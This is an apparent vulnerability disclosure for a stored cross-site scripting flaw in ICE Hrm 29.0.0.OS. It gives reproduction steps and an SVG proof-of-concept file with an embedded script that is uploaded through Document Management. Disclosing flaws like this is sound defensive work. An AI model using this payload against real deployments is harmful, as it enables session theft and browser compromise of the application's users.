Author

Rafal Lykowski & Piyush Patil

Description

The file upload feature in ICE Hrm Version 29.0.0.OS allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability.

Steps to Reproduce the issue:

1- Login to ICE Hrm Admin Panel

2- Click on Employees=>Document Management=> Upload a below xml file

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("XSS");
   </script>
</svg>
```

3- Visit the upload location of file and XSS will get triggered.

Video POC:

https://drive.google.com/file/d/1SnMslhOJKBq4Pnotgm0nw1Pz7TypPsoQ/view?usp=sharing

Impact

XSS can use to steal cookies, password or to run arbitrary code on a victim's browser